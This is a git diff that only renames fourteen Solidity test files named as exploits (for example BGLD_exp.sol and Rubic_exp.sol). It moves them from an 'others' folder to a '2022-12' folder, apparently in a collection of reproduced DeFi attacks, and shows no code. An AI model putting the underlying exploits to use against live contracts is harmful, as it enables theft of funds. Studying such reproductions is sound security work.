a/src/test/others/BGLD_exp.sol b/src/test/2022-12/BGLD_exp.sol similarity index 100% rename from src/test/others/BGLD_exp.sol rename to src/test/2022-12/BGLD_exp.sol diff --git a/src/test/others/DFS_exp.sol b/src/test/2022-12/DFS_exp.sol similarity index 100% rename from src/test/others/DFS_exp.sol rename to src/test/2022-12/DFS_exp.sol diff --git a/src/test/others/Defrost_exp.sol b/src/test/2022-12/Defrost_exp.sol similarity index 100% rename from src/test/others/Defrost_exp.sol rename to src/test/2022-12/Defrost_exp.sol diff --git a/src/test/others/ElasticSwap_exp.sol b/src/test/2022-12/ElasticSwap_exp.sol similarity index 100% rename from src/test/others/ElasticSwap_exp.sol rename to src/test/2022-12/ElasticSwap_exp.sol diff --git a/src/test/others/FPR_exp.sol b/src/test/2022-12/FPR_exp.sol similarity index 100% rename from src/test/others/FPR_exp.sol rename to src/test/2022-12/FPR_exp.sol diff --git a/src/test/others/JAY_exp.sol b/src/test/2022-12/JAY_exp.sol similarity index 100% rename from src/test/others/JAY_exp.sol rename to src/test/2022-12/JAY_exp.sol diff --git a/src/test/others/Lodestar_exp.sol b/src/test/2022-12/Lodestar_exp.sol similarity index 100% rename from src/test/others/Lodestar_exp.sol rename to src/test/2022-12/Lodestar_exp.sol diff --git a/src/test/others/MUMUG_exp.sol b/src/test/2022-12/MUMUG_exp.sol similarity index 100% rename from src/test/others/MUMUG_exp.sol rename to src/test/2022-12/MUMUG_exp.sol diff --git a/src/test/others/Nmbplatform_exp.sol b/src/test/2022-12/Nmbplatform_exp.sol similarity index 100% rename from src/test/others/Nmbplatform_exp.sol rename to src/test/2022-12/Nmbplatform_exp.sol diff --git a/src/test/others/NovaExchange_exp.sol b/src/test/2022-12/NovaExchange_exp.sol similarity index 100% rename from src/test/others/NovaExchange_exp.sol rename to src/test/2022-12/NovaExchange_exp.sol diff --git a/src/test/others/Overnight_exp.sol b/src/test/2022-12/Overnight_exp.sol similarity index 100% rename from src/test/others/Overnight_exp.sol rename to src/test/2022-12/Overnight_exp.sol diff --git a/src/test/others/RFB_exp.sol b/src/test/2022-12/RFB_exp.sol similarity index 100% rename from src/test/others/RFB_exp.sol rename to src/test/2022-12/RFB_exp.sol diff --git a/src/test/others/Rubic_exp.sol b/src/test/2022-12/Rubic_exp.sol similarity index 100% rename from src/test/others/Rubic_exp.sol rename to src/test/2022-12/Rubic_exp.sol diff --git a/src/test/others/TIFI_exp.sol b/src/test/2022-12/TIFI_exp.sol similarity index 100% rename from src/test/others/TIFI_exp.sol rename to src/test/2022-12/TIFI_exp.sol